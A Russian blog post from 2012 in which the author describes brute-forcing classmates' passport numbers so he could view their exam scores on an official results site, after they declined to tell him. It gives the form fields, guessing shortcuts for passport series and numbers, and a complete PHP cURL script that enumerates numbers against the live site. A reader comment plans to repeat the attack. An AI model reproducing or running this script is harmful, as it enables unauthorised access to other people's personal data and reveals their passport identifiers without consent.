понедельник, 25 июня 2012 г.

Работа с Web-формой на PHP с использованием cURL

В данной статье будет рассмотрена работа с web формой на php с использованием библиотеки cURL. Она не претендует на лучшую, однако мне хотелось бы рассказать про работу с cURL с моей позиции.


Предисловие

В этом году я закончил 11й класс школы и, как полагается, сдавал ЕГЭ. Конечно мне было интересно узнать результаты экзамена моих знакомых, но не все захотели рассказывать мне о них. Интерес узнать баллы у меня не пропадал, и меня посетила мысль узнать их самому. Для этого у меня было 3 варианта действий:
1. Узнать серию и номер. Но узнавать было не у кого.
2. Найти "дырку" в сайте и попытаться взломать базу данных. В этих делах у меня опыта нет и я, к сожалению, ничего не нашёл.
3. Перебор серии и номера. На этом варианте я и остановился.


Понеслась

Баллы за ЕГЭ мы узнаём на сайте http://193.169.34.82/. Нужно ввести фамилию, полное имя, серию паспорта и его номер. Фамилия и имя известны. Остается узнать только серию и номер паспорта. Серия состоит из 4 цифр, а номер из 6.

К моему счастью я знал одну закономерность: у всех 11-классников серия паспорта начинается на 53, а последние две цифры (в большинстве случаев) указывают на год выдачи паспорта т.е. если кто-то родился в 1994 году, значит паспорт был ему выдан (в 14 лет) в 2008 году, следовательно, скорее всего, серия 5308. 

Остается номер. В теории номер может быть от 000001 до 999999, то есть нужно перебрать 999999 вариантов номеров паспорта. Довольно много. Если учесть, что скорость перебора примерно 4 номера в секунду, получается примерно 3 дня. Но это меня не остановило.

Посмотрев исходный код сайта http://193.169.34.82/ я заметил несколько строк, которые помогут реализовать мою идею:


<form method="post" action="?m=roster">
<input type="hidden" name="cookie" value="a5ea9be83584c4be5750a1635e7e217e" />
<input type="hidden" name="regionfk" value="56" />
<table class="form">
<tr> 
<td>Введите фамилию: </td> 
<td><input type="text" size="40" maxlength="80" name="surname" value="" /> </td>
</tr>
<tr>
<td>Введите имя:</td>
<td><input type="text" size="40" maxlength="80" name="name" value="" /></td>
</tr>
<tr>
<td>Серия паспорта:</td>
<td><input type="text" size="20" maxlength="40" name="docseria" value="" /></td>
</tr>
<tr>
<td>Номер паспорта:</td>
<td><input type="text" size="20" maxlength="40" name="docnum" value="" /></td>
</tr>
<tr>
<td colspan="2"><input type="submit" value="Просмотреть" /></td>
</tr>
</table>
</form>

При отправке данных осуществляется POST-запрос. С передачей POST-запросов на сторонний сервер хорошо работает библиотека cURL. Ею и воспользуемся.
Сам запрос имеет следующую формат: "cookie=&regionfk=&surname=&name=&docseria=&docnum=". Первое и второе значение можно взять из исходного кода страницы http://193.169.34.82/, который приведен выше. Т.к. я живу в Оренбургской области, то это значение 56. С третьим, четвертым и пятым все понятно. Наша цель - подобрать шестое.

В ходе подбора номеров выяснились некоторые закономерности в номерах паспорта, которые значительно облегчили подбор. Например, у многих тех, кто родился в первую половину 1994 года, номер начинается на 67.

ПО

За основу я взял сервер типа LAMP (Linux + Apache + Mysql + PHP). Только mysql не пригодился. Дистрибутив Linux - Ubuntu. Далее я установил библиотеку cURL. Про установку можно прочитать здесь.

Код

На PHP много кода писать не пришлось. Вся информация будет выводиться в консоли

<?php
 $surname = "Иванов";
 $name = "Иван";
 $series  = "5309";

 $curl = curl_init();

 curl_setopt($curl, CURLOPT_URL, 'http://193.169.34.82/index.php');
curl_setopt($curl, CURLOPT_POST, 1);
 curl_setopt($curl, CURLOPT_RETURNTRANSFER , 1);
 curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla Firefox 21.0');

 $from = 999999;

 $to   = 100000;
 echo "Search passport number for ".$surname." ".$name."\n";

 for ( $i=$from; $i>=$to; --$i ) 

 {
  echo "Try ".$i."... ";
  curl_setopt($curl, CURLOPT_POSTFIELDS, 
    'cookie=1c18d7dfd9d48f226cab19f1a9279c23'.
    '&regionfk=56'.
    '&surname='. iconv("UTF-8", "WINDOWS-1251", $surname) .
    '&name='. iconv("UTF-8", "WINDOWS-1251", $name) .
    '&docseria='. $series.
    '&docnum='. $i);
  $res = curl_exec($curl);

  if ( strpos($res, 'Location') > 0) {

    echo "Correct\n";
    echo $surname." ".$name." ".$series." ".$i."\n";
    break;
  }
  else {
  echo "Incorrect\r";
  }
}
curl_close($curl);
?>


Заключение

Скорость перебора у меня была примерно 10 номеров в секунду.

Если будут какие-то вопросы, оставляйте их в комментариях.

1 комментарий:

  1. Спасибо большое за очень интересную статью!
    Тема довольно актуальная.
    В следующем году буду это реализовывать, надеюсь к тому времени они не додумаются влепить туда "капчу".

    ОтветитьУдалить